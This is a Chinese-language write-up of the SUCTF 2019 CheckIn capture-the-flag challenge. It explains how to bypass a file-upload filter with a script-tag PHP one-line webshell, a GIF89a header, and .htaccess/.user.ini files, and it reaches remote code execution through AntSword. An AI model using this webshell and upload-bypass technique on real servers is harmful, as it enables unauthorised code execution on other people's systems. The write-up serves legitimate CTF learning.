[SUCTF 2019]CheckIn1

提示

  1. 一句话木马的多种变式(这里需要用到用javascript来写一句话木马)
  2. 注意修改文件头

先随意上传一个文件fuzz一下看能不能直接传webshell

从下面来看常见php后缀都不行,其中有一个没有加后缀过了后缀验证这一步,到了下一步,但是他还会看文件的内容不能有<?


首先不能是php文件就上传图片文件,再通过.htaccess和.user.ini来把图片文件当php运行

既然会过滤<? , 所以到这里就应该想到

  1. 用javascript来执行php <script language='php'>eval($_POST'a');</script>

上传成功, 路径也返回出来了/uploads/c55e0cb61f7eb238df09ae30a206e5ee

接下来就要思考怎么传入.htaccess或者.user.ini了

先尝试传.htaccess

看样子因该是没有把.htaccess拉进黑名单可以传入, 但是看出来了不是图片文件(这里推断因该是会验证头信息)

这个就比较好处理, 在文件里最前面加入GIF89a他应该就会成功上传

注意, 无论什么时候content-type: 这个都是得注意的, 一般都会验证这里是否是图片类型

这里加上GIF89a尝试上传

上传成功

尝试访问上传的木马

如果不是出来的图片什么的, 就说明.htaceess起作用了, 这里用蚁剑或者菜刀之类的直接连就行了

在尝试传.user.ini

这里直接添加了文件头, 应为上面已经验证了

这里也成功上传

这里的代码意思所有的1.jpg文件都以php文件打开

所以最后两种方法都可以使用

尝试工具连接(蚁剑)

可行(记住得是上传文件的位置)

尝试rce

也是可行的

这里用的是hackbar火狐的插件

相关推荐
wang_xin_8881 小时前
PHP函数
开发语言·php
Immortal__y1 小时前
php函数
开发语言·php
魏码不凡2 小时前
CURL报错:未找到SSL证书文件问题
开发语言·php·ssl
严谨的麻辣烫10 小时前
Linux sysctl 网络参数调优实战:高并发与长连接场景下的内核配置
linux·网络·php
name好难取诶13 小时前
PHP 静态分析工具实战 PHPStan 和 Psalm 完全指南
android·开发语言·php
柠檬香的21 小时前
实时操作系统(RTOS)的核心认知基石
开发语言·php
大尚来也1 天前
原生 PHP vs 框架开发:小型项目到底怎么选?
开发语言·php
开源推荐官1 天前
getInvoice 是回填不是开票,Tigshop开源商城发票接口理一理
android·开源·php
name好难取诶1 天前
通过对云基座和离线基座的对比,帮助开发者理解如何在不同场景下选择合适的打包方案。 什么是“基座” 在 UniApp 中,基座(也称“ ...
开发语言·uni-app·php
weixin_BYSJ19871 天前
springboot旅游景点以及美食地图小程序---附源码75422
java·javascript·c++·spring boot·python·django·php